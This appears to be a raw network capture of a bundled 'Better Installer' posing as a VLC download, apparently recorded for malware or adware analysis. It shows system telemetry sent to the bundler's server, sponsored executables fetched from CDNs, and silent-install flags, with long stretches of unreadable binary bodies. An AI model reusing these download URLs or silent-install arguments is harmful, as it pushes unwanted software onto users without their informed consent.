User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Content-Length: 2228

Connection: Keep-Alive

Cache-Control: no-cache

country=UA&uid_orig=dffadf6cea0603499f5ce29578e19940&uid=dffadf6cea0603499f5ce29578e19940&affid=network_marimedia_1&sid=vlcmediaplayervfps&cli_id=&softwareName=VLC Media Player&installerVersion=2.1&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=96d78f35e7b7ea4fc32736d428df43b4&cu=false&cd=false&tokyo_csrf_key=33863aa29c1972b702063db37b01bdc1&tokyo_csrf_timestamp=1423621772&unique_id=f730160cf51d9436dafdc0d7e73723fb&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIke
HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:29:34 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
fab.............\.o.F..W......-...7u...4....i.CU. r%.Lq..)E....7.K....
_I.q....5;;.og.......2...9.....<.?......x.qju..Hp%...Y.9....<..f
4Y,.l.F..y...e.Q[....F.Q6...b>...A|....9S.}..8c.d....2.uz.y9..s....
...H.....|..1.q.2?.. .o.^......E........s.....rs....\.u.L.X..D.T..C.b.
..2.b......KR9..........1..-..  0v.....-....K.@f....*.r..O.:.C.f5...-/
A .z.<...4...[G=c!..0..<c.<."[email protected]&VWab........M.!.ff)....G
...`.]z..k...X...&&...1.C1..4...]{Z...v\...R.q.gV...|t....%.xY<...0
.....{O...,.i..7.'..T.4...u^.B)2c...M.;......2.\.6:....{.b...a.;..u..0
.fF.....ZU.O!.h......... `..{*2(.{i..V.M..a..$......./!*[email protected]..
.Lo..$$..)I^..AZ..R.C#.O!.fcw2.Y.P..\c..N...X}...... p.....Zk......= ^
.<...BW..&e)...*..['K......6...B51P..\G{.3....>.4,)....8....ii.5
...^....:#h.h...h.|(.[CLy&!....LZK....@.\...c..q.....&Y......AOfj..C.%
......Q....O..O.x...x(.4.............%.=.~.....Gx.......<..d.....?.
.h..H....F.".)T.U...h..H=X..xa...x..F.=..B`.Cd.<c...PL.,$69...C..O.
k"U...._...0P..1.u..?..{....X.R1..<.r.....(.^&.*.....u~../.......7o
._?...R.?Hzj?/K.......vv.........q.L.7"..`.>....,..,.?.vk...m.S9d..
T.q.-j~....Z....x....u..k..".SIBM.zk..=>...p.ws.....j.../{^f)..;..?
1.Lq.x<.....N0...u4(....X..~...n....?K.6.I...zB.._..y...4Q..Ku.....
@..d.....S....H..U.c.`M.....`..........i..._..`..%.Ke..LtB.Ce....Ny.GY
...g.2....J..=>.3.....Z...I..G..b.y..."..5........?]hh.p........-..
bqI./M......;.>..;:...:.0Me..\]..\.8D.:..A...7.dO..#n.....9....L...
[email protected]>....\...-.d.......i...`...b.<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.21706834637139494 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmc=1; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:29:40 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:29:40 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=dffadf6cea0603499f5ce29578e19940&uniqid=f730160cf51d9436dafdc0d7e73723fb&affiliate_id=network_marimedia_1&software_id=vlcmediaplayervfps&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=598ff6455fc9cb2614347b8534559781&tokyo_csrf2_timestamp=1423621774&slot_number=1&index_in_screen=1&index_in_session=1&0.26086897661093067 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_marimedia_1/vlcmediaplayervfps/dffadf6cea0603499f5ce29578e19940?v=2.1&uid=dffadf6cea0603499f5ce29578e19940&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmc=1; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:29:45 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 11 Feb 2015 02:29:45 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=5657591-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 11 Feb 2015 02:29:35 GMT

Content-Type: application/octet-stream

Content-Length: 16972770

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 5657591-22630360/22630361
][email protected]...$...........Z.j.v..U.l.....KR......l....EYM...[....#.Ca..~'
...O^.M..Z.h8*......vV|.X.......{m.....!Q... ...Yth.<....:......r.O
[email protected]......,.Jq.-`...O...F.=......~...g...;.....|m.*A`.
PN.2....l...c.J.8v.*.[.....3.Z....f...x`J(.....;..~{...:...$Qb.J..P...
..I....6d......&. .<...4......c..l.. ...3.z.9M..H.Ow...l#..l.....1.
.C.OM..h......s{T1EqZ$..7;...V....'<\.(qn[tq.........MrT".{...Qq..Y
...k6...7....Yqnae.G.spY.dh....y.gq\....K....L.......*..i.&...:5B)...}
J....y..?.|.....s;.R..N..?.1.t1*...H../.../..[..{a.VM...o.........'..|
.LQ...cq.......Q.}?.w...iQ..R.{i.[..D.9.N..x....(v...j,c..:.\...$V....
.-..V....P'C6... .b..9.Q/.....w..4.{..}.0.`. .L..j>5(...].P9..N.<
;.Z..J..Y).T.k|..............~.S.,._v.....]...h.~_W.B..z.U..C..e..}Wt.
......Kz.....w.ZF.......X2V..s..........D.Dd.4..0Au......W.$..z.n....l
w.$R....1.....B?..z...TB.....|8......S..U.a.bG..o.&q.=.9...Gk....!#s !
.1%..g...,....v..Cn.8.!..B.......m.......Z...8bK.b..O.........N..?....
.Q....tb..._.........K.B..v1.^..Y:...i.z.p...G..l.&.....\y.b2q...$.w..
a{.0..U:?7k.0...&sb........t9..i.......}T.... '.1..>p......JM...U\.
!....&V..i..}....2.....1of....._.{.Fr]3.. K.'........-. .A....Z.......
h....='....l..[.h.%W..).......&....eO. \,{..e;z....)[email protected]
.(k..y......pi*.-.n..Tw..Bi.............I.L..@.....@].v.[.U.".Y}n.../.
.>.EE%...V...:..g..."b.W...J..........BN.....:......)$.."...>.f4
.u.$.zt-......9..Jx1(w......l......`...y.......i..N..O.E4_..Z..:.....7
].Q..m.../...Lk.=9nlh.g.-....'.]09....285.Q.r.*;....e..\:L..m.|...<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=35695-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 249863

Connection: keep-alive

Date: Sun, 08 Feb 2015 06:12:59 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 35695-285557/285558

Age: 2517

X-Cache: Hit from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Ah9s1dPMQ6kH3j9mehl-boiqozbmrSPkQY-DpWAREfnYgGfpn80qBA==
[email protected].>>>.555.,,,.&&%.!!!.............
....................$"".)''..,,.200./--.*((.866.QOP.qpp....=..........
......................................................................
........................................776.........%##.=<<.ecc.
............ihf.OON.>>>.444.   .&%%.#!!......................
...........%##.,'(.0...100. )).-  .@>>.XVW.~}|..................
......................................................................
.....................................AA@.   .....&$$.<::._]].......
......kih.POO.>>>.444.   .%%%.#!!............................
.#%%.''&.-)).1...0//.*((.200.HFF.`^^..................................
......................................................................
........................_JJI.##$.....##$.<<<._^^.............
kih.POO.>>>.444.   .%%%.!  .........................!!!.$&%.(
((.-**.3.0./--.*((.644.LJJ.ecc....k...................................
......................................................................
..................9UVU.&&&.....!!!.999.___.............lki.PPO.>>
;>.555.,,,.&''.!##..  ......................  ."&%.())./ ,.4/0./  .
 )).:88.RPP.hee....3..................................................
......................................................................
...!`_^.,  .....   .444.YYY.............kmi.OQN.>>>.545., ,.&
%&.#!#.......................... ..#"!.)&&./,-.310.,)(.-**.><<
;.SRR.nnm.........................................................<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=321682-643364

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321683

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT

Accept-Ranges: bytes

ETag: "da4bdcc41345d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 11 Feb 2015 02:30:25 GMT

Content-Range: bytes 321682-643364/1286728

X-Cache: Miss from cloudfront

Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: TlauYfrcJzAKEM1N0st-wd9yN447BdemYDyWgmin_Z9kFP40fwaMMQ==

GET /sd?is=sm HTTP/1.1

Range: bytes=364510-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 12 Feb 2015 02:30:33 GMT

Date: Wed, 11 Feb 2015 02:30:33 GMT

Content-Range: bytes 364510-583215/583216

Content-Length: 218706

Connection: keep-alive
.....3.M)....:..&;6..a..L.......I..Y.....&.-U[.5.....t:w...5W..j.]bS.^
...)..3`.......QK....1....8...A..V.].%..Aqu.Y.n6.|xJ...*...O .Hi.!..b-
.j......X.G.X..b.K5.._....}..~.'.....#..x6@..'J...x}.A....T^.y.....f. 
...e1h.]..A...1..2..K....t.`.mN..|..J.3.k..s......6.`.`3.]#^........!.
6..-...g..W<..CT()K......._FR..MtGd{..eT.#o..*4PKQ.Sb.n./q.cQ>.)
.o1..V-.jg..\/..h.}x....m..I....o^~.TMk..p..)8..... .....\/.kM....Z7..
"..d"..P....].. ........K..u..:.....v.d........*..Zyr..:..vA@.{Ru.g...
...v.....:L..F..17..!e*i.d.b.?<B9B\O.....U.#..^s..c/u......._k.....
.%...%...B{".....<......''..'...?...N.....erW.`.........2.(U.e....9
(.{,.\.....a^e.C`X....*...6.%x.HF...z.i..F}?.3......rr\.....A..}.[..%.
.H.b...14..M..3...ljTG.9.1....t...YRy.-.v.34......W.Qx.g..K.d.@D..O..u
..V0...T...,...............(..x......t)g..%.Fm.& ......U.:.........=..
l4.......6........=f/.o...k. bY..YL....$a8.".....));._...J.......'H'~.
....x.[4..i.>Lwe=Tx.V...K.......6...lK..O..!.W.w...q..$31m.....z@&l
t;y-<.........&...N..s\4h.3.R..Y........F....Ze.KKv..........N..*1|
K.\l.>..........I..........0k.U..q..!=.\...O.......N.gK..C.IPw.}E..
.2..4r...,kJ... .B.]c.."....q.'.P.*[email protected]..&.X}...(.!......
.T....tK..gc.0.a.<.J.....6c.)\.........b...o.'..A..k'.....M....?.!m
..Y65........w..-.......=.CO.`...RR..w.=.9G..{8]..j..MXJ<..OU....|.
..'......m,..e..o:..............)".....V.......*....e..: ........i..iz
|.U..8 U...f...,.&...V...Cm.'.>/.9(..<k.B.'A,./...V?8z....3.E...
H...[.....{.T...pg..^9Ic..X5....N.....$W...N..".~..".6.p..T?.&o.66<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1453

content-transfer-encoding: binary

Cache-Control: max-age=457593, public, no-transform, must-revalidate

Last-Modified: Mon, 9 Feb 2015 09:39:15 GMT

Expires: Mon, 16 Feb 2015 09:39:15 GMT

Date: Wed, 11 Feb 2015 02:34:25 GMT

Connection: keep-alive
0..........0..... .....0......0...0......T3t.%..O.E..~..F.=....2015020
9093915Z0s0q0I0... ........H.dI.....3..^B...d6Q....ZL%."..1.m..._)..a.
.eR&.....Y.)..".\....20150209093915Z....20150216093915Z0...*.H........
.....~0...hO6...:&.O........D......Bnr.s.PL.....a.......|..]'[>...`
......I...P<I.$.T.....s..zF....... R...39...<.. J........~..{.g.
...W#..............|.r.l..<4.b.....er.kw.3.....P[.........Q.....Z?.
Sa.........6.F......8.{E.[......mQ/[email protected]."O.\....3.S.....0..
.0...0..3......./...b.v..-....l}0...*.H........0_1.0...U....US1.0...U.
...VeriSign, Inc.1705..U....Class 3 Public Primary Certification Autho
rity0...141202000000Z..151216235959Z0..1.0...U....US1.0...U....Symante
c Corporation1.0...U....Symantec Trust Network1?0=..U...6Symantec Clas
s 3 PCA - G1 OCSP Responder Certificate 30.."0...*.H.............0....
......'......Y..x.3B1.7..Q..`..d.. ....s..t.$a.....j2R.{ ,*..c{.3.....
H..3-; ).....0._...*..9M..V...... ...{m...-.......)..tR..{D....~...M..
.T..pS.p..^|o....S..v.).)[email protected]#qh...u1T.].G0.]
E...=._...... ........TE...Sa.s4........r...3.............0..0...U....
0.0l..U. .e0c0a..`.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps
0(.. .......0...hXXp://VVV.symauth.com/rpa0...U.%..0... .......0...U..
......0... .....0......0!..U....0...0.1.0...U....TGV-B-2730...*.H.....
........$..H......oU....Y!.z{*.V.M..u.._z..3>.. 0....3..m.....e....
...a..D...........e..F6:.y.....di.......<y.Z.......x}..q.2....UZ1 :
,....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=497606, public, no-transform, must-revalidate

Last-Modified: Mon, 9 Feb 2015 20:44:24 GMT

Expires: Mon, 16 Feb 2015 20:44:24 GMT

Date: Wed, 11 Feb 2015 02:34:25 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015020
9204424Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
..M.s.Q~...@?j.......20150209204424Z....20150216204424Z0...*.H........
......2..T.U...=..C.V....Bo9..e..2.....S.'.#../Y].k.....n..1.8J\..PM.x
Y.P6H.....Q9...]...Z..d...Bl...!..7W.P*..-.a.-...q.f'k.d.Z...o.. D.q.8
w.!.:..8...C0.j.%V.#&.d..n..Q.,..kE.s...*....p..7....~..MI.LFE....e../
.....\..,Z.clG...v.R....Q....o.w..`...@^...%...K..,...#0...0...0......
....<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....VeriS
ign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use at h
ttps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code Sign
ing 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...U..
..VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of u
se at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Class 3
 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.........{
(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk....(.......
...p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.}..
.r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l....(n.
.i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...U....0
.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisign.c
om/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp. by
 reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U........
0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H......<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1697

content-transfer-encoding: binary

Cache-Control: max-age=581414, public, no-transform, must-revalidate

Last-Modified: Tue, 10 Feb 2015 20:04:39 GMT

Expires: Tue, 17 Feb 2015 20:04:39 GMT

Date: Wed, 11 Feb 2015 02:34:25 GMT

Connection: keep-alive
0..........0..... .....0......0...0...A0?1=0;..U...4VeriSign Class 3 C
ode Signing 2004 CA OCSP Responder..20150210200439Z0s0q0I0... ........
[email protected].!......Q...==d6|h.[x....7..`..........cV.!.....201502
10200439Z....20150217200439Z0...*.H...............U.#..&1x1.......n...
tJ...-..`.-d...X.......\._......[]n\].;....n..}b..Y...b1.q....".2.<
.../..:....\..... ..?...Y. .EF.e....Y!T#SLa.......&....I.t..v...Cy'uGK
...g......-.........G>}q......1....p...pxP,.l.e^f5..i)xoE....]....t
..?.....~..Su......D.,...\........0...0...0..{.........[..I|.....Zm..0
...*.H........0..1.0...U....US1.0...U....VeriSign, Inc.1.0...U....Veri
Sign Trust Network1;09..U...2Terms of use at hXXps://VVV.verisign.com/
rpa (c)041.0,..U...%VeriSign Class 3 Code Signing 2004 CA0...140428000
000Z..150729235959Z0?1=0;..U...4VeriSign Class 3 Code Signing 2004 CA 
OCSP Responder0.."0...*.H.............0.........Y....h..@..>.....%.
-.....O...' y.........x..Gw.xF.....?..Z..u,.X.&..........3C..H.l.....f
..;]s!.\"v...|....][email protected]. ..W....n..*
..-f?EY.......UN...r...........-_.%..,P;b.....)(.P.4...,.%....<..6.
....[r^X.EV..S...5#'Y.. .TD...........0...0...U.......0.0...U.%..0... 
.......0...U...........0... .....0......0f..U. ._0]0[..`.H...E....0L0#
.. .........hXXps://d.symcb.com/cps0%.. .......0...hXXps://d.symcb.com
/rpa0!..U....0...0.1.0...U....TGV-B-1080...U......"...?....`>q..i1o
...0...U.#..0.....Q...==d6|h.[x....70...*.H.............B8@.$..wo.....
.E.....P52"b*@'C\.y.(...n....h.f..7f.....v...pb<...]..|........<<< skipped >>>

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ds HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 11 Feb 2015 02:31:09 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.59 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 11 Feb 20
15 02:31:09 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.59 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /utility.gif?report=fdata&f=3&c=820&i=35&n=ms_about_to_exc&rnd=31211 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Wed, 11 Feb 2015 02:31:31 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /downloader/network_marimedia_1/vlcmediaplayervfps/fc5ae9ef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5ae9ef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1387656045.1423621778.1423621778.1423621778.1; __utmb=1.1.10.1423621778; __utmz=1.1423621778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:24 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............~.F....<..N.....Nw.2........I..... .....KD...g.O
v....B..e;...L[.P.*.r......N.....q........,N..W.qg.-.Fr....".......<
;.'..b..KQ..>.v............6......o.OJu..|..F..D*.n....<.}......
....i....<..7...p.u.d.... .....'.i......f.";.M._..x....E..,.....]N.
.W.&.u......0........R..K{.o...'.. ......h}g>.,>...d>Z....`IU
...c,..<..x..y.x=.?e./..X...E>....`~._...o..S....'3L.,O.9.<^.
Fx...,.}....|....t:..R.Qd.E..NX.8.-f.x..].:[..j.Q..}<X.3..L..l...."
~j..<..`:J.GN....t.:.....l:D..'.xvr......,.......l.O..d...y..*.M..(
..G.ft....?.....6....e....F=.g....z..=\.S'.e..;.....L<.......d.L..R
..yT|..!.;./.'....e....t......*~..).,...,^.'...d4...d..,f....>[U6..
..W...-.....W...T......`..`s9Yb...........Ir.......<.@.......{.MF&g
t;[email protected]).b....X)P,.Y1....&.*.e.{......N......h..h._...j.a<
;.....U.O...(>^.Fn.t.'........f........._..N.....>.........^....
.w0c......w{.....~......V.F..S. }<.....Z.}1.....\.{A.2..).....e....
..............P._...o,..//......[...c.j.v.X..~.5.k.wo........~o.lq-...
.J.........\.V..^S..{7......[_..o}.z.n....{..{7o.....y|n....!./...`K._
C..c..Y*...Q<.g..r/..$DQ..#..7....x....xx.....q.<.....l.s...W.4.
..2.K..1"..Y...{i|.v .,'..5...&..Y.X.&.9...{......5^...Z../b0IYZ....K.
.Dq..W.h.....Q..<.LgM......N..e.......Z......Q...'[.....f.Q......E.
>[email protected]....\....[.:...l.....|....f?.[Wa....*[email protected]]
K.....8........9x..o.\.....F.....o......m..././.;......N?.c....._..)..
.*...Tb.(....F..[Y.f......'.......G.(JzA..\...Qz......B.J.H....M5^<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[sourceapp_b2b][exec_args]=/np 1 /is smp1ua &offers[sourceapp_b2b][offer_indexes][slot_number]=2&offers[sourceapp_b2b][offer_indexes][index_in_screen]=1&offers[sourceapp_b2b][offer_indexes][index_in_session]=2&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=3&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process &offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=dffadf6cea0603499f5ce29578e19940&uid=fc5ae9ef92544d4d9ad600d2a201e613&tokyo_csrf_key=9f94a8e8d07f6cc9a65db37183cf1cbf&tokyo_csrf_timestamp=1423621824&ffInstalled=false&dfz=false&affid=network_marimedia_1&sid=vlcmediaplayervfps&country=UA&hostBrowser=ff&unique_id=f730160cf51d9436dafdc0d7e73723fb HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://b
HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:30:24 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
4c1.............Wko.6.. .> v$?c.. ..a3Z..........H.JRI. .}.J.c..Wgi
..A....}.s...L.`..._..V.0.!....4*R..o*.% ...R..4..7....9.-.-'....F..L.
...^vx..4.J...;..l1....0.......[....~..16........p..L/....;........S..
.4..t...3*.7LCl...0..FiHq.2.cUZHc!.I.r.h.ZA..B.9w...e.T.*\y.'.d.....F.
.3\....~......Uc.!gV.......y..8..Q...iX.cu.......5. .I...!WP../..}:...
._.\...3}.P*.U..?a.....]...vo#.(...to%S........F..B...(......8.bSa1...
.\l....y.k[%..gv....\...t*.VT.......1.yQi....&.F.J.....z..j.....{.#..L
c. ...&....U....2..g..J#....0.zA.~......M.pk.N#......eU$.m..f....k....
(.V...A.Q...J.v..Io{.......$..f9...Oegm..2S..I........F.;d&K/D>..3E
.V.[.3t.>...s."./-Q..s"......(...T.J.%.d.\q.bz...h......C..U...h.6.
.....T/.=.N.1p..8.5.\[.L...N..k8M..-......(.0..... .......( 6.D.....D.
}BD.NG.`wbPcH...rMJB...]..%.T2..h.D|.0>E..;\....PX...k.5...l..].w..
....[.......U@..~jGw...-..n3eW.M7.....h.`...*.h".\....<l!.......]..
[email protected]:nb.l....'."Y.}.....6.p_..z...R.*.%u.c.....I`.....
.QP..}.....R$.>......vo....K%i..[.........%.f....,.......h.........
.{.:..l.S.e.r..w. $..o.[.$....|5&.oO..xx.......x....R...u.jT.[y.4>.
.'...=q....~....O^Q....%.jO...Q.........j..Z.m..>Y.zR....UW5......}
.G}...`..i:......Q..p......7..(.EKQ..............&........0....
..


